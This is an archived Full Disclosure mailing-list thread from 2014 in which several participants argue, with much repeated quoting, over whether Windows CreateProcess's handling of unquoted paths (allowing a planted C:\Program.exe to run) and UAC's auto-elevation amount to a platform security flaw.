Joe Souza joe.so...@netmotionwireless.com wrote: It is at the very least ignorant to call Microsoft's CreateProcess behavior braindead. What else is it then? If anything it shows your complete lack of understanding of the issue. Really? Let's see how good your understanding of the Win32 API and its compatibility to the Win16 API is. The behavior of the API is not arbitrary; Microsoft has always had to walk the line between security and application compatibility. And every so often they made the wrong decision! If Microsoft were to change behavior of CreateProcess as you suggest, then they would break untold apps that have been written so as to call the API without quoting the target executable. Such crap deserves to break: better be safe than sorry. The quotes became necessary only with the advent of LFN-aware file systems, NTFS was LFN-aware, from its very beginning, 20+ years ago! and the Windows API predates the availability of LFN-aware file systems on Windows. Which Windows API? The Win32 API was introduced with Windows NT, together with the LFN-aware NTFS file system. It was INCOMPATIBLE to the previously used Win16 API, on source and binary level. There was no CreateProcess() in the Win16 API, but WinExec(). So: what about just getting the preconditions to your arguments right? OUCH^WPooof: ff you do, your arguments just vanish. If you were the developer of an operating system that millions of people relied upon and you were faced with the decision between tightening up the behavior of an API vs. breaking customer applications that people regularly use, what would your choice be? I dont need to choose! There was no compatibility to break. Stefan Original message From: Stefan Kanthak Date:07/30/2014 3:19 AM (GMT-08:00) To: Michael Cramer , Gynvael Coldwind Cc: fulldisclosure , Brandon Perry , bugtraq@securityfocus.com Subject: Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account Michael Cramer mike.cra...@outlook.com wrote: I think you're arguing semantics here. Of course. Of course the specifics of how a particular program is executed will be different between command line and GUI-based OS'. Really? Is there any need for this difference you state? BTW: what is the difference? Both provide the ability for non-privileged users to launch processes with specific, temporary Administrative access rather than their account having always-on Administrative access. But only Windows' system call CreateProcess*() has the COMPLETELY BRAINDEAD behaviour to guess or probe which executable to run! Whether or not a user is going to click yes to everything is completely irrelevant to the technical details at hand. It could be argued that training a user to type 'sudo' on every command could have the same effects. Just because *YOU* understand the difference doesn't mean there aren't 1000 Linux users out there typing sudo for literally everything simply because that's how they were taught to type commands in the terminal. You miss the point, completely. It's not about sudo or RUNAS.EXE or UAC, its about the braindead behaviour of CreateProcess*(). This is the culprit. Nothing else. Without its braindead behaviour every developer or his QA would stumble over unquoted paths the very instant they are used and poorly written programs with such beginners errors would not be delivered to hundreds of millions of unsuspecting users putting them at risk to run a rogue C:\Program.exe RE: 0. http://www.dwheeler.com/essays/filenames-in-shell.html This was brought up on the FD mailing list towards the end of June (http://seclists.org/fulldisclosure/2014/Jun/140) in which discussion on how the Linux shell has its own quirks regarding path names and potential security issues. It's disingenuous to single out Windows with its path name handling in this context without addressing this issue across the board. Simply put, these types of issues are universally understood across many operating systems to be in the realm of applications themselves and NOT a fault of the platform. Its but the fault of the platform! CreateProcess*() is just the system call, and its the ONLY system call available to start another process, used by ShellExecute*(), the service manager etc. pp. So again, to sit here and single out Windows for its quirky pathname behavior is just picking fights here. See above: you completely miss the point! In short, yes, Windows has a function that takes input and launches a path which COULD lead to unexpected behavior when passing the argument without quotes. But arguing that this should be on Microsoft to resolve within Windows just points me back towards the aforementioned link which says such problems should also be resolved at the OS layer for them as well. See above: CreateProcess*() is the OS layer here! To address your Windows auto
Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account
Joe Souza joe.so...@netmotionwireless.com wrote: Stop sending HTML! In Win32, WinExec is merely a wrapper around CreateProcess. CreateProcess needs to support the same semantics that WinExec did. It does: the Win16 API does NOT support LFNs, just SFNs. With this precondition (which you did not take into account, again) WinExec() supports under Win32 exact the same semantics as under Win16. Stefan Original message From: Stefan Kanthak Date:07/30/2014 8:26 AM (GMT-08:00) To: Joe Souza , Michael Cramer , Gynvael Coldwind Cc: fulldisclosure , Brandon Perry , bugtraq@securityfocus.com Subject: Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account Joe Souza joe.so...@netmotionwireless.com wrote: It is at the very least ignorant to call Microsoft's CreateProcess behavior braindead. What else is it then? If anything it shows your complete lack of understanding of the issue. Really? Let's see how good your understanding of the Win32 API and its compatibility to the Win16 API is. The behavior of the API is not arbitrary; Microsoft has always had to walk the line between security and application compatibility. And every so often they made the wrong decision! If Microsoft were to change behavior of CreateProcess as you suggest, then they would break untold apps that have been written so as to call the API without quoting the target executable. Such crap deserves to break: better be safe than sorry. The quotes became necessary only with the advent of LFN-aware file systems, NTFS was LFN-aware, from its very beginning, 20+ years ago! and the Windows API predates the availability of LFN-aware file systems on Windows. Which Windows API? The Win32 API was introduced with Windows NT, together with the LFN-aware NTFS file system. It was INCOMPATIBLE to the previously used Win16 API, on source and binary level. There was no CreateProcess() in the Win16 API, but WinExec(). So: what about just getting the preconditions to your arguments right? OUCH^WPooof: ff you do, your arguments just vanish. If you were the developer of an operating system that millions of people relied upon and you were faced with the decision between tightening up the behavior of an API vs. breaking customer applications that people regularly use, what would your choice be? I dont need to choose! There was no compatibility to break. Stefan Original message From: Stefan Kanthak Date:07/30/2014 3:19 AM (GMT-08:00) To: Michael Cramer , Gynvael Coldwind Cc: fulldisclosure , Brandon Perry , bugtraq@securityfocus.com Subject: Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account Michael Cramer mike.cra...@outlook.com wrote: I think you're arguing semantics here. Of course. Of course the specifics of how a particular program is executed will be different between command line and GUI-based OS'. Really? Is there any need for this difference you state? BTW: what is the difference? Both provide the ability for non-privileged users to launch processes with specific, temporary Administrative access rather than their account having always-on Administrative access. But only Windows' system call CreateProcess*() has the COMPLETELY BRAINDEAD behaviour to guess or probe which executable to run! Whether or not a user is going to click yes to everything is completely irrelevant to the technical details at hand. It could be argued that training a user to type 'sudo' on every command could have the same effects. Just because *YOU* understand the difference doesn't mean there aren't 1000 Linux users out there typing sudo for literally everything simply because that's how they were taught to type commands in the terminal. You miss the point, completely. It's not about sudo or RUNAS.EXE or UAC, its about the braindead behaviour of CreateProcess*(). This is the culprit. Nothing else. Without its braindead behaviour every developer or his QA would stumble over unquoted paths the very instant they are used and poorly written programs with such beginners errors would not be delivered to hundreds of millions of unsuspecting users putting them at risk to run a rogue C:\Program.exe RE: 0. http://www.dwheeler.com/essays/filenames-in-shell.html This was brought up on the FD mailing list towards the end of June (http://seclists.org/fulldisclosure/2014/Jun/140) in which discussion on how the Linux shell has its own quirks regarding path names and potential security issues. It's disingenuous to single out Windows with its path name handling in this context without addressing this issue across the board. Simply put, these types of issues are universally understood across many operating systems to be in the realm of applications themselves and NOT a fault of the platform. Its but the fault of the platform! CreateProcess
Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account
Joe Souza joe.so...@netmotionwireless.com wrote: You can blame the Mail app on Android for the HTML. I dont: I but blame PEBKAC for the HTML or other deficiencies. You have illustrated below exactly the reason why CreateProcess needs to handle unquoted paths. Thanks for helping me make my point. Really? Where did I write that CreateProcess() should guess how many parts of the command line form the path to the application? You still dont get the point, you dont even read what I wrote. Stefan -Original Message- From: Stefan Kanthak [mailto:stefan.kant...@nexgo.de] Sent: Wednesday, July 30, 2014 10:11 AM To: Joe Souza; Michael Cramer; Gynvael Coldwind Cc: fulldisclosure; Brandon Perry; bugtraq@securityfocus.com Subject: Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account Joe Souza joe.so...@netmotionwireless.com wrote: Stop sending HTML! In Win32, WinExec is merely a wrapper around CreateProcess. CreateProcess needs to support the same semantics that WinExec did. It does: the Win16 API does NOT support LFNs, just SFNs. With this precondition (which you did not take into account, again) WinExec() supports under Win32 exact the same semantics as under Win16. Stefan Original message From: Stefan Kanthak Date:07/30/2014 8:26 AM (GMT-08:00) To: Joe Souza , Michael Cramer , Gynvael Coldwind Cc: fulldisclosure , Brandon Perry , bugtraq@securityfocus.com Subject: Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account Joe Souza joe.so...@netmotionwireless.com wrote: It is at the very least ignorant to call Microsoft's CreateProcess behavior braindead. What else is it then? If anything it shows your complete lack of understanding of the issue. Really? Let's see how good your understanding of the Win32 API and its compatibility to the Win16 API is. The behavior of the API is not arbitrary; Microsoft has always had to walk the line between security and application compatibility. And every so often they made the wrong decision! If Microsoft were to change behavior of CreateProcess as you suggest, then they would break untold apps that have been written so as to call the API without quoting the target executable. Such crap deserves to break: better be safe than sorry. The quotes became necessary only with the advent of LFN-aware file systems, NTFS was LFN-aware, from its very beginning, 20+ years ago! and the Windows API predates the availability of LFN-aware file systems on Windows. Which Windows API? The Win32 API was introduced with Windows NT, together with the LFN-aware NTFS file system. It was INCOMPATIBLE to the previously used Win16 API, on source and binary level. There was no CreateProcess() in the Win16 API, but WinExec(). So: what about just getting the preconditions to your arguments right? OUCH^WPooof: ff you do, your arguments just vanish. If you were the developer of an operating system that millions of people relied upon and you were faced with the decision between tightening up the behavior of an API vs. breaking customer applications that people regularly use, what would your choice be? I dont need to choose! There was no compatibility to break. Stefan Original message From: Stefan Kanthak Date:07/30/2014 3:19 AM (GMT-08:00) To: Michael Cramer , Gynvael Coldwind Cc: fulldisclosure , Brandon Perry , bugtraq@securityfocus.com Subject: Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account Michael Cramer mike.cra...@outlook.com wrote: I think you're arguing semantics here. Of course. Of course the specifics of how a particular program is executed will be different between command line and GUI-based OS'. Really? Is there any need for this difference you state? BTW: what is the difference? Both provide the ability for non-privileged users to launch processes with specific, temporary Administrative access rather than their account having always-on Administrative access. But only Windows' system call CreateProcess*() has the COMPLETELY BRAINDEAD behaviour to guess or probe which executable to run! Whether or not a user is going to click yes to everything is completely irrelevant to the technical details at hand. It could be argued that training a user to type 'sudo' on every command could have the same effects. Just because *YOU* understand the difference doesn't mean there aren't 1000 Linux users out there typing sudo for literally everything simply because that's how they were taught to type commands in the terminal. You miss the point, completely. It's not about sudo or RUNAS.EXE or UAC, its about the braindead behaviour of CreateProcess*(). This is the culprit. Nothing else. Without its braindead behaviour every developer or his QA would stumble
Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account
Michael Cramer mike.cra...@outlook.com wrote: sudo make-me-a-sandwich.py How is this different from any other temporary, per-process elevation system? 0. neither sudo nor make-me-a-sandwich.py nor the OS where these programs typically run have a CreateProcess*() system call which guesses which executable it should run in case of a command line with embedded spaces. Do you expect that your command line executes sudo make-me-a-sandwich.py in the absence of a file sudo or sudo.exe? 1. if you omit sudo from the command line, there is no elevation, not even an attempt for an elevation. On Windows, you dont need to use sudo, you just open for example REGEDIT.EXE or make-me-a-sandwich.reg: if you do this in a standard user account REGEDIT.EXE will run with standard user rights, without any prompt for elevation. But if you do this in an administrator account (except the builtin Administrator), Windows prompts for consent. And if you use one of the 70 Windows programs which Microsoft in their very finite wisdom granted auto-elevation, you wont see any elevation prompt at all! 2. on *x, your user account is an UNPRIVILEGED user account, and you have to use sudo explictly. On Windows, all user accounts created during setup are administrator accounts which show the above mentioned behaviour. Is this enough of a difference? Sent from my Surface Pro 3 ARGH! I don't need any advertising! Stefan From: Stefan Kanthak Sent: ?Monday?, ?July? ?28?, ?2014 ?06?:?08 To: Gynvael Coldwind Cc: fulldisclosure, Brandon Perry, bugtraq@securityfocus.com Gynvael Coldwind wrote: So reading the links you provided I semi-agree with you. I think the problem boils down to this part of your initial e-mail: PS: yes, it needs administrative privileges to write C:\Program.exe. BUT: all the user account(s) created during Windows setup have administrative privileges. My point was (and it still stands) that if you have admin access, this isn't a privilege escalation, as there is no escalation part here. Correct. If only Microsoft would educate its users to exercise STRICT user separation and use different accounts for administration and daily work. This is where and why UAC chimes in (which answers your question below): Joe Average uses the administrative account created during Windows setup, but UAC strips the administrator rights. Microsoft sells UAC as Joe Average works with standard user rights or Joe Average is not an administrator any more, neglecting that Joe will happily approve almost every request for administrative rights (or isnt asked at all when one of the about 70 Windows executables which are exempt from the elevation prompt are auto-elevated). The links you provided use different wording, e.g. (http://blogs.technet.com/b/srd/archive/2013/07/09/assessing-risk-for-the-july-2013-security-updates.aspx): To exploit the vulnerability addressed by this update, attacker must have permission to create a new file at the root of the system drive. (C:\malicious.exe) This makes of course more sense, though as I did mention above, it does seem to require deliberate action from the administrator to actually allow a non-admin user the WD (add file to directory) privilege on C:\, which is rather rare I would say. Correct. This argument holds as long as strict user separation is exercised. But with UAC, Joe Average is both user and administrator, and isnt really aware of his split personality. That being said, after thinking about it again I do see your point, which I interpret at: even if an administrator grants all users WD/AD on C:\, there should be no reason for him to worry, as there is no reason to suspect files placed in C:\ are going to auto-execute on certain events*. * let's leave autoexec.bat/config.sys out of this, as that branch of Windows is long dead and supported only FAT anyway So let me change my initial e-mail to: Congratz on finding the bug :) (BTW not sure why did you bring UAC into the discussion - did I miss something? or was it just an argument you've heard before and wanted to reply to it preventively?) Cheers! regards Stefan On Fri, Jul 25, 2014 at 2:50 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Gynvael Coldwind wrote: Well it was discussed a couple of times recently on FD that this is a bug, but it's not a privilege escalation. If you are admin (and you did mention that it's a prerequisite) you can execute code as other users anyway - so there's no *escalation* here. Therefore it's not a security bug (unless you are using a super old version of Windows with incorrect ACLs on c:\, which sounds like a bug in itself), just a normal bug. Not sure if FD is the right place for non-security bugs tbh. If these bugs were no security bugs: why does Microsoft then publish fixes for (at least some of) them via MSRC bulletins and Windows Update
